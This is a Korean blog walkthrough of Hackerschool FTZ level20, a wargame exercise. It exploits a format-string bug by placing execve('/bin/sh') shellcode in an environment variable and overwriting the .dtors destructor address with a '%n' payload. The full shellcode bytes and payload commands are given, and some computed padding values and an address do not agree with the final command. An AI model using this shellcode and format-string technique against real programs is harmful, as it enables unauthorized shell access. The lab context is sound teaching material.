Security&Hacking/시스템 해킹

해커스쿨 ftz level20 (macOS)

Dior2ky 2020. 1. 19. 02:09
반응형

해커스쿨 ftz Level20

MacOS에서 푸는 해커스쿨 ftz 

해커스쿨 ftz level20 단계이다.

드디어 마지막이다.

먼저 ftz서버를 실행한다.

서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.

 

Mac의 터미널을 열어 서버에 접속합니다.

명령어는 

ssh -c aes128-cbc level20@서버ip

라고 입력합니다.

Id: level20, pw: we are just regular guys 로 로그인하고 파일을 확인하였다.

hint를 확인하니 이번에는 배열의 크기보다 작은 크기의 값을 입력받는다.

이번에는 printfbleh라는 배열을 그대로 넣어 출력하기 때문에 이를 이용해야겠다.

프로그램을 실행하여 아무값이나 넣어보았다.

일반 문자는 그대로 출력하는 반면 서식문자는 메모리를 읽어 출력한다.

같이 사용하니 처음 AAAA가 뒷부분에 출력되는것을 볼 수 있다.

gdb를 사용해서 main함수를 살펴보려 했지만 오류가 난다.

objdump -h attackme | grep .dtors 명령어를 사용해서 0x0849594라는 주소값을 얻을 수 있었고 우리는 이주소에 4를 더해 0x0849598을 이용한다.

이번엔 환경변수를 이용한 쉘코드를 만들었다.

$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv

차례로 입력하여 0xbffffe45의 주소를 얻었다.

0xbffffe45의 정수값이 x86시스템에서 지정할 수 있는 크기를 벗어나기 때문에 %n을 이용해 반반으로 나눈다.

0xfe45는 앞서 구한 소멸자의 값 0x08049598에 넣고

0xbfff 0x0804959a에 넣는다.

 

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 이렇게 40바이트를

0xfe45 65093에서 빼주고 0x1bfff에서 65093을 빼주어 49594의 값을 구한다.

 

이렇게 구한 값들을 바탕으로

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%65053c%n%49594c%n 을 구할 수 있다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme

명령어를 입력해준다. 이어지는 입력창에 my-pass를 입력하면 마지막 clear의 패스워드가 나온다.

 

 

끝.

반응형